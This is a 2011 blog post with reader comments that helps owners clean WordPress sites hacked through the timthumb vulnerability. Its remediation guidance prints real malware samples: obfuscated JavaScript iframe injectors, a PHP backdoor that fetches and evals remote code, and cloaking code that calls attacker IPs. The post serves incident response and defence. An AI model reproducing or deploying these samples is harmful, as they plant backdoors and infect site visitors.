Monday, August 22, 2011

Malicious software is hosted on newportalse.com, counter-wordpress.com, ?.us.to/kwizhveo.php

newportalse.com, counter-wordpress.com


There are currently a large number of Wordpress sites that have been hacked where the domain being listed on the warning page is newportalse.com. In most cases the first indicator of this hack has been when the site owner is notified by a user that they have gotten a warning when visiting the site and/or the site owner gets a warning when viewing one of their pages in Chrome or Firefox.  In all cases the warnings are intermittent, the owner or a user might visit the page 20 times and not get the warning and then on the 21st visit the warning will pop up. In a couple of cases the domain hosting the malware has also varied, one time the warning will read newportalse.com and the next time the warning pops up it will read young-girls-fucking.com or realjailbaitgirls.com. In most cases when the site owner checks the Google Diagnostic page it has indicated "not suspicious". This hack is very well cloaked and it is taking a long time for Google to find the malicious content and flag the site.

Note: In their efforts to keep this hack cloaked from both Google and site owners the domain being used to host the malware is being changed pretty rapidly.  As soon as Google flags one of the domains the hackers are switching to a new one.  I have seen newportalse.com, counter-wordpress.com, young-girls-fucking.com, realjailbaitgirls.com, getsextoys.biz, hanna-heartbreaker.com, corporateactivate.ru, teenburgmovies.biz, and bestsexygirlfriend.com used in the last couple of days.

In all cases the hackers have gained access to the site through a vulnerability in a popular php script named timthumb.php or thumb.php.  The script is used to manipulate, crop/re-size web images and can be found in a large number of Wordpress themes.  The first thing you will need to do is check all your themes, including any unused themes lurking on your site, for any that use timthumb/thumb and then update all occurrences of timthumb to the latest version. The following ref explains how to update and provides a link to the latest version.

Ref:  http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/

The next step is to clean up the JavaScript files used on your site. To date the hackers have been primarily using wp-includes/js/l10n.js and/or /wp-includes/js/jquery/jquery.js and/or /wp-content/themes/*[your themes names]*/inc/jquery-1.2.6.min.js. In more recent hacks the Javascript files located with the sites themes seem to be the primary targets, such as /wp-content/themes/combat/js/jquery-1.4.2.min.js. You should check all JavaScript files and if you have any doubts replace them with known clean versions.

There are a couple of variants of malicious obfuscated JavaScript that I have seen. An example of malicious script found in wp-includes/js/l10n.js on one site -

function convertEntities(b){var d,a;d=function(c){if(/&[^;]+;/.test(c)){var f=document.createElement("div");f.innerHTML=c;return !f.firstChild?c:f.firstChild.nodeValue}return c};if(typeof b==="string"){return d(b)}else{if(typeof b==="object"){for(a in b){if(typeof b[a]==="string"){b[a]=d(b[a])}}}}return b}; var _0x4de4=["\x64\x20\x35\x28\x29\x7B\x62\x20\x30\x3D\x32\x2E\x63\x28\x22\x33\x22\x29\x3B\x32\x2E\x39\x2E\x36\x28\x30\x29\x3B\x30\x2E\x37\x3D\x27\x33\x27\x3B\x30\x2E\x31\x2E\x61\x3D\x27\x34\x27\x3B\x30\x2E\x31\x2E\x6B\x3D\x27\x34\x27\x3B\x30\x2E\x69\x3D\x27\x66\x3A\x2F\x2F\x67\x2D\x68\x2E\x6D\x2F\x6A\x2E\x65\x27\x7D\x38\x28\x35\x2C\x6C\x29\x3B","\x7C","\x73\x70\x6C\x69\x74","\x65\x6C\x7C\x73\x74\x79\x6C\x65\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x69\x66\x72\x61\x6D\x65\x7C\x31\x70\x78\x7C\x4D\x61\x6B\x65\x46\x72\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x69\x64\x7C\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74\x7C\x62\x6F\x64\x79\x7C\x77\x69\x64\x74\x68\x7C\x76\x61\x72\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x70\x68\x70\x7C\x68\x74\x74\x70\x7C\x63\x6F\x75\x6E\x74\x65\x72\x7C\x77\x6F\x72\x64\x70\x72\x65\x73\x73\x7C\x73\x72\x63\x7C\x66\x72\x61\x6D\x65\x7C\x68\x65\x69\x67\x68\x74\x7C\x31\x30\x30\x30\x7C\x63\x6F\x6D","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];ev​al(fun​ction (_0x2f46x1,_0x2f46x2,_0x2f46x3,_0x2f46x4,_0x2f46x5,_0x2f46x6){_0x2f46x5=function (_0x2f46x3){return _0x2f46x3.to​String(36)};if(!_0x4de4[5][_0x4de4[4]](/^/,String)){while(_0x2f46x3--){_0x2f46x6[_0x2f46x3.to​String(_0x2f46x2)]=_0x2f46x4[_0x2f46x3]||_0x2f46x3.toString(_0x2f46x2);}_0x2f46x4=[fun​ction (_0x2f46x5){return _0x2f46x6[_0x2f46x5]}];_0x2f46x5=fun​ction (){return _0x4de4[6]};_0x2f46x3=1;};while(_0x2f46x3--){if(_0x2f46x4[_0x2f46x3]){_0x2f46x1=_0x2f46x1[_0x4de4[4]]( new Reg​Exp(_0x4de4[7]+_0x2f46x5(_0x2f46x3)+_0x4de4[7],_0x4de4[8]),_0x2f46x4[_0x2f46x3]);}}return _0x2f46x1}(_0x4de4[0],23,23,_0x4de4[3][_0x4de4[2]](_0x4de4[1]),0,{}));

The original/clean content is in green and the added malicious content is in red.  The malicious content de-obfuscates to

function MakeFrame(){
  var el = document.createElement("iframe");
  document.body.appendChild(el);
  el.id = 'iframe';
  el.style.width = '1px';
  el.style.height = '1px';
  el.src = 'http:// counter-wordpress . com/frame.php'
}
setTimeout(MakeFrame, 1000);

The malicious content adds an iframe to the page which loads the malicious payload from http:// counter-wordpress . com/frame.php

The contents of a "clean" will be something like this

function convertEntities(b){var d,a;d=function(c){if(/&[^;]+;/.test(c)){var f=document.createElement("div");f.innerHTML=c;return !f.firstChild?c:f.firstChild.nodeValue}return c};if(typeof b==="string"){return d(b)}else{if(typeof b==="object"){for(a in b){if(typeof b[a]==="string"){b[a]=d(b[a])}}}}return b};


Another variant seen in  wp-includes/js/jquery/jquery.js?ver=1.4.2

var mIbYkFM=3175567; var sUAkPsk=1302948; var MFcBEnpC=18475; var jQ37c02B=537145; var OCGhllC = new Array(4997287, 4997302, 4997295, 4997284, 4997301, 4997290, 4997296, 4997295, 4997217, 4997262, 4997282, 4997292, 4997286, 4997255, 4997299, 4997282, 4997294, 4997286, 4997225, 4997226, 4997308, ....  

(a long array of numbers) ....

4997219, 4997229, 4997234, 4997233, 4997233, 4997233, 4997226, 4997244, 4997310);Wqv8c = "";for (pOf21 = 0; pOf21 < OCGhllC.length; pOf21 ++) { Wqv8c = Wqv8c + String.fromCharCode(OCGhllC[pOf21]-jQ37c02B+MFcBEnpC-sUAkPsk-mIbYkFM); }; eval(Wqv8c);

In some of the more recent hacks a new wrinkle has been added along with the JavaScript hack. The hackers installed a malicious script at /wordpressinstalldir/wp-mail.php and then hacked WP Super cache to add an iframe

< if rame src="http:// www . xxxxxx . net/wordpressinstalldir/wp-mail.php" name="mailiframe" width="0" height="0" frameborder="0" scrolling="no" title=""> < /if rame >

to the end of the sites pages to load the malicious content. The thing to look for here is the iframe, the path/filename could be anything.

Next you will need to check some of your core php files, start with functions.php file in your themes, in some cases it will only be in the active theme, but check any in-active themes you may still have on your site.  Typically there will be 100s of blank lines then the code.

if (isset($_GET['pingnow'])&& isset($_GET['pass'])){
if ($_GET['pass'] == 'xxxxxxx'){
if ($_GET['pingnow']== 'login'){
$user_login = 'admin';
$user = get_userdatabylogin($user_login);
$user_id = $user->ID;
wp_set_current_user($user_id, $user_login);
wp_set_auth_cookie($user_id);
do_action('wp_login', $user_login);
}
if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
$fnm = md5(rand(0,100)).'.php';
$fp = fopen($fnm, "w");
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_exec($ch);
curl_close($ch);
fclose($fp);
echo "<SCRIPT LANGUAGE=\"JavaScript\">location.href='$fnm';</SCRIPT>";
}
if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){
$ch = curl_init($_GET['file']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$re = curl_exec($ch);
curl_close($ch);
eval($re);
}}}

You need to delete these lines. You should also check core files such wp-config, wp-settings .php. Make sure you scroll all the way to the end of the file as there will likely be 100s of blank lines before the any malicious code. Again if you have any doubts about the content in any file you should replace it with a known clean version.

If you do not have a known clean copy of a file download a fresh install of Wordpress and extract any files you need to replace.

On many of the sites the following malicious file are being found

/wp-content/upd.php
/wp-content/data.php
/wp-admin/upd.php
/wp-admin/js/config.php
/wp-admin/common.php
/wp-content/uploads/feed-file.php
/wp-content/uploads/feed-files.php
/wp-content/themes/*[your themes names]*/cache/.htaccess
/wp-content/themes/*[your themes names]*/temp/[eab9c5e9815adc4c40a6557495eed6d3.php]
[or similar file names]

*[your themes names]* You should check both your active theme and any inactive themes you may have left in place on your site.

They are malicious and should be deleted. Suggest you also install the script simple program to find files containing base64_decode linked under Useful(?) tools on this page and give it a try. Instructions for installing the script and using it or on the page.


Update 08/24/2011

?.us.to/kwizhveo.php


It looks like we have another group of hackers exploiting the vulnerability in timthumb. This group is not using the javascript files, they are using php code to insert an iframe into the pages of the site.  In the one I looked at tonight the iframe is

<if rame src="http://prettyrosseande.us.to/kwizhveo.php" width="1" height="1" frameborder="0"> </if rame>

The code is appearing between two comment tags < !-- Wordpress Counter --> and looked like this on a second site.

< !-- Wordpress Counter -->
< sc ript language="javascript">
var ExpDate = new Date ();
ExpDate.setTime(ExpDate.getTime() + (7 * 24 * 60 * 60));
SetCookie("MTPT","1",ExpDate, "/");
func tion SetCookie (name, value) {
var argv = SetCookie.arguments;
var argc = SetCookie.arguments.length;
var expires = (argc > 2) ? argv[2] : null;
var path = (argc > 3) ? argv[3] : null;
var domain = (argc > 4) ? argv[4] : null;
var secure = (argc > 5) ? argv[5] : false;
document.cookie = name + "=" + escape (value) +
((expires == null) ? "" : ("; expires=" + expires.toGMTString())) +
((path == null) ? "" : ("; path=" + path)) +
((domain == null) ? "" : ("; domain=" + domain)) +
((secure == true) ? "; secure" : "");
}
< /sc ript >
< if rame src="http:// nightlynet771.us.to/kwizhveo.php" width="1" height="1" frameborder="0">
< /if rame >
< !-- Wordpress Counter -->

The domain name is dynamic, changes from request to request so there is some code writing the domain name but the .us.to/kwizhveo.php part seems to be staying the same for now.

In this hack the php code of the site is being hacked to add the iframe. If you see this type of iframe you will need to check your php code, index.php, header.php, footer.php and so on for the malicious code. On the second site the code was in the header in the sites theme.


Redirects to malicious .ru sites --

guide-securesoft.ru, insanetrip.ru, protect-now.ru, connection-trip.ru, tripinternational.ru, softwareid.ru, touch-pad.ru-internet.ru

In many cases these hacks are also backed up with a hack of the .htaccess file so you will need to check that if you are on Apache.  In most cases the hack has been a redirect to the URL http:// generationgeneration-internet.ru /pcollection/index.php.  There are some tips on checking the .htaccess file here.

It looks like there is an increase in the number of sites doing the redirect to a malicious site thing. There are also some new domains being reported such as softwareid.ru/zisec/index.php (thanks Mark)

I am also starting to see some sites where only a request for a non-existing page, a page that generates a 404 file not found error redirects to a malicious site, http:// guide-securesoft.ru /[*some random letters*]/index.php and insanetrip.ru seem to be a common target for the redirects.  To check for this type of hack try requesting  a URL like http://yourdomain.com/no-exist.html using the file viewer tool.  If you happen to have a file named /no-exist.html just use a file name your are sure does not exist on your site.


Also with this hack the hackers have been installing a backdoor on the site so they can maintain access to the site.  You will need to check through the files on your site for any backdoors.  There is an example of a typical backdoor here. These backdoor scripts can be very difficult to find as they can be placed in any folder on the site and the name of the file can be anything.  Typically the hackers will try to hide the file by using innocuous sounding names such as search.php. On one site the backdoor was found in a file named FUNCTIONS_EXTRA.PHP in the /wp-content/themes/[*your theme*]/ folder.  I have also seen file names such as log.php, sm3.php, wp.php, r(d).php (r1.php, r2.php and so on), data.php, and stats.php used in the past. Another common technique used by hackers is to use php code but name the file with a .txt or maybe a .jpg extension. If you find php script in a file with something other than a .php extension it is likely a bad thing.

Once you have gotten your site cleaned up you MAY need to submit a review request to Google. Check to see if Google is flagging your site by opening the diagnostic page for your site at http://www.google.com/safebrowsing/diagnostic?site=yourdomain. If the page lists your site as suspicious then you will need to submit a review request to Google and get your site cleared before the warnings will be removed. If your site is listed as not suspicious then the warnings should disappear as soon as your site is cleaned up (you may need to delete browser history/cache).

Update  09/03/2011 In the comments below Randy provides a real good description of a spam type hack, a pharma hack. It appears likely the hackers gained access to the Wordpress Site through the timthumb/thumb.php vulnerability. Randy has written a post about the hack, what to look for and how to clean it up     Hack Alert: wp-image.php is not a valid WordPress file — Randy Tayler, Eccentric Hundredaire

Some helpful articles:

Hardening WordPress

35 comments:

  1. Hi.. Nice articles! Thanks..

    I was try all your suggestions. My blog has "Malware Detected". Now, I waiting answer from Google about my review request for my blog.

    This blog: http://pakarcinta.com/blog

    TQ Redleg. :-)

    ReplyDelete
  2. Thanks! Good Luck with the review, hopefully things will be back to normal in a few hours.

    ReplyDelete
  3. Thanks for the tips, my blog was infected and this helped.

    ReplyDelete
  4. You are certainly welcome! I wish you luck with your blog in the future. No more visits to my site.

    ReplyDelete
  5. Hi there,

    I have 5 blogs in my cPanel and all got hacked for the same issue last week.

    I then install some plugin to strenghten my wordpress.
    Block Bad Queries (BBQ)
    WP Security Scan
    WordPress File Monitor Plus

    Was fine for few days and today the Monitor Plus informed me same group of files being hacked again.

    The hacked files are
    plugins/....../jquery-1.3.2.min.js
    /wp-includes/js/jquery/jquery.js
    /wp-includes/js/l10n.js

    I went through your suggestion and find no hack on PHP scrips.

    I've been replacing the infected files with original files for few times, really appreciate if you can give me some advise.

    Thanks.

    ReplyDelete
  6. Couple of suggestions -

    make sure your PC is clean and secure, do regular scans with a good antivirus program.

    Then change all your passwords, especially FTP.

    Change your WP security keys (Secret keys) as described in

    http://codex.wordpress.org/Editing_wp-config.php

    When checking files such as wp-config make sure you are scrolling all the way to the end and all the way to the right on the file. hackers will insert 100s of blank line before their malicious code, or "tab" the lines of code over so it is not readily visible as you scroll through the file.

    ReplyDelete
  7. Thanks red.
    Apply your suggestions accordingly.
    Hopefully this helps.

    Another question, I also notice wp-setting get updated "quite frequently".
    Kindly of every few days I'll receive file change notification for wp-setting file.
    Is this normal?

    ReplyDelete
  8. No that does not sound right. On some sites hackers have been addin code similar to this

    function google_bot()
    {
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']);
    if(!(strpos($sUserAgent, 'google') === false))
    {
    if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true)
    {
    $ch = curl_init('http://91.196.216.30/bot.php?ip='
    .$_SERVER['REMOTE_ADDR'].'&host='.$_SERVER['HTTP_HOST'].'&ua='
    .urlencode($_SERVER['HTTP_USER_AGENT']).'&ref='
    .$_SERVER['HTTP_REFERER']);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $re = curl_exec($ch);
    curl_close($ch);
    echo $re;
    }
    }
    }
    add_action('wp_footer', 'google_bot');

    to the sites wp-settings

    ReplyDelete
  9. little tip, when you find an infected file, and you happen to be in some form of linux, then you can quickly check for all php and js files modified on the same day - certainly found a few more files than mentioned in this post.

    best and thanks for saving me some time!

    ReplyDelete
  10. Would you share the additional file name(s) you found?? Could help the next guy.

    ReplyDelete
  11. De-hacking my friend's blog, I found a file called "wp-image.php" in the wp-includes directory; it was being called by general-template.php in the same directory. I haven't found anything else yet, but he has a theme or plug-in called Chameleon that uses the TimThumb script, so I think that's how they got in.

    Not sure what wp-image.php does, but it's all hacky like this: <?php $GLOBALS['_424172811_']=Array(base64_decode('ZX' .'Jy' .'b3J' .'fc' .'mVw' .'b3J0aW5n')....

    Hope that helps somebody.

    ReplyDelete
  12. I've since decoded the naughty wp-image.php file. It makes various attempts to pull down spam content from a URL like this: http://countr.co.cc/l/counter.php?md5=48613&v=1

    I've hunted down the IP's owners and sent email to their abuse address; hopefully they'll yank the offending site.

    To fix my friend's problem I removed the line in general-template.php that said "include 'wp-image.php', and that fixed the problem. (And deleted wp-image.php, naturally.)

    I'm posting more details on my website -- which also uses WordPress (gulp) -- if anybody needs more info. http://randytayler.com/2011/09/hack-alert-wp-image-php-is-not-a-valid-wordpress-file/

    ReplyDelete
  13. Randy, Thanks very much for the update. All - I have added a live link to Randy's post at the end of my post. Suggest that you also check your site for the issues identified by Randy. You might not see the type of spam described by Randy on your site now, but this type of spam generating code can lie dormant and be activated at some point in the future.

    ReplyDelete
  14. seeing it redir to...

    softwareid.ru/zisec/index.php

    ReplyDelete
  15. Thanks Mark, That is a new one that I have not seen.

    ReplyDelete
  16. what is recommended for scanning your computer?
    can you name a couple?

    ReplyDelete
  17. @Mark I think the free version of MalwareBytes http://shop.malwarebytes.org/lpa/342/5/index.html?_kk=malwarebytes%20download&_kt=5649af65-023f-45b8-acb9-a5990bcaa0a7&gclid=CLHMxujIg6sCFRDe4AodXTA42A

    is as good an any.

    ReplyDelete
  18. I can't tell if this is bad backdoor:



    function counter_wordpress() {$_F=__FILE__;$_X='Pz48P3BocCAkM3JsID0gJ2h0dHA6Ly85Ni42OWUuYTZlLm8wL2J0LnBocCc7ID8+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));$ua = urlencode(strtolower($_SERVER['HTTP_USER_AGENT']));$ip = $_SERVER['REMOTE_ADDR'];$host = $_SERVER['HTTP_HOST'];$uri = urlencode($_SERVER['REQUEST_URI']);$ref = urlencode($_SERVER['HTTP_REFERER']);$url = $url.'?ip='.$ip.'&host='.$host.'&uri='.$uri.'&ua='.$ua.'&ref='.$ref;$ch = curl_init($url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 2);$re = curl_exec($ch);curl_close($ch);echo $re;}add_action('wp_head', 'counter_wordpress');
    do_action( 'init' );


    found this in my WP-settings.

    ReplyDelete
  19. @Andy Dit is malicious but not all of it, The last line do_action( 'init' ); is a legitimate line in wp-settings so don't remove that bit.

    ReplyDelete
  20. My blog has been deindexed by Google, but i don't see any malware (didn't receive any malware warning though) - can you see if there's anything wrong with it - http://www.latestautoreviews.com? I've been trying to get it reconsidered for past 3months -any help will be greatly appreciated!

    ReplyDelete
  21. @Om Thoke I am not finding any indications that your site currently has malware on it or that it was de-indexed due to malware. You might try posting over on Google's Webmaster Tools Forum, crawling, indexing, ranking http://www.google.com/support/forum/p/Webmasters/label?lid=41234c84d9491af8&hl=en
    and see if anyone there can provide some insights into why Google would de-index.

    ReplyDelete
  22. A question so why would anyone have the heart to destroy people's homes.
    If it only shows that he was someone who was good at science's technology there are other ways.
    We are also disturbed by the act of the Hack. Yes How do I join a community of anti Hack? where and how. Because we want to join too.

    ReplyDelete
  23. I am going crazy, I have read all the web, I have followed all the instructions, but I can't find the backdoor, or something like this-
    The only thing I know is that I have the Pharma Hack cause I see in Google cache .

    Please help!

    ReplyDelete
  24. @rome I take the info in http://redleg-redleg.blogspot.com/2011/02/pharmacy-hack.html

    was not any help?

    ReplyDelete
  25. I have hired a professionist on scriptlance, he fixed pharma in 1 day

    ReplyDelete
  26. I have several websites that have been getting redirected to:
    qimultabannortim.ru/upday/index.php

    Thank you so much for posting this! I can't tell you how many countless hours and tears I've wasted trying to find out what was wrong. None of the other malware reports seemed to be what I needed. I now feel like I have a starting point and might actually be able to fix it. Thank you for restoring hope to my little corner of the internet world. I was literally heartbroken.

    Quick question: I have shared hosting for my websites, and even my fresh installs are getting reinfected. Is it contagious, so to speak? I.e., does one site being infected leave the others vulnerable? Or would it just be on the primary account?

    ReplyDelete
    Replies
    1. Typically with a redirect to qimultabannortim.ru/upday/index.php if your site is hosted on Apache the hack is in an Apache system file named .htaccess. There is another post at http://redleg-redleg.blogspot.com/2011/01/redirect-to-malicious-site.html that gives some tips on checking a .htaccess file. Directives in a .htaccess file effect the directory the file is in and all directories below it so depending on how the sites/directory structure is set up it is certainly possible for one .htaccess file to effect multiple sites.

      Delete
    2. Sorry for the delay. Had trouble finding the site again, for some reason. I just want to say thanks for all your help!

      I read through the other article and found it to be very insightful. Sadly, I wound up deleting all of my websites and just reinstalling.

      What's interesting is that I'm still having problems. I redid one website w/ security plugins and then did another fresh install of a different site on the same hosting, which was hacked within 12 hours. The other one still tests clean.

      Rather than retype everything, you can see my forum post: http://wordpress.org/support/topic/malware-redirect-hacks-specific-question-regarding-vulnerabilities?replies=1

      Please know I'm not posting it to ask for free help. I'm waiting for someone from the WP boards to write back to me. But if it helps in the discovery of anything new that would be of interest to you, there's my info.

      Thanks also for your link to Malwarebytes. Downloading it now. :)

      Delete
  27. Not sure if you're still following that thread, but you might want to take a look. I'm more convinced than ever that it's GoDaddy...

    Or is it possible to have a *completely* empty hosting account and still have your URL redirect?

    http://wordpress.org/support/topic/malware-redirect-hacks-specific-question-regarding-vulnerabilities?replies=9

    ReplyDelete
  28. This comment has been removed by the author.

    ReplyDelete
  29. Thank you. I work with iframe virus last week. I have used computers and the need for an updated antivirus program. This is important

    ReplyDelete
  30. Red

    FYI: your red-leg-red-leg-viewer ends with </htm

    I have a file on one wp site that is not on the others (found running base 64 viewer)

    File: (wp-includes/theme-compat/item.php) - Ever seen this file? I'm not educated enough to read it's purpose. I've "//" it. No errors so far.

    You want to look at it? go to mysite/item-php.txt.

    ReplyDelete
    Replies
    1. That is the "Filesman" backdoor

      http://redleg-redleg.blogspot.com/p/example-of-backdoor-script.html

      Delete
  31. thanks for sharing..

    ReplyDelete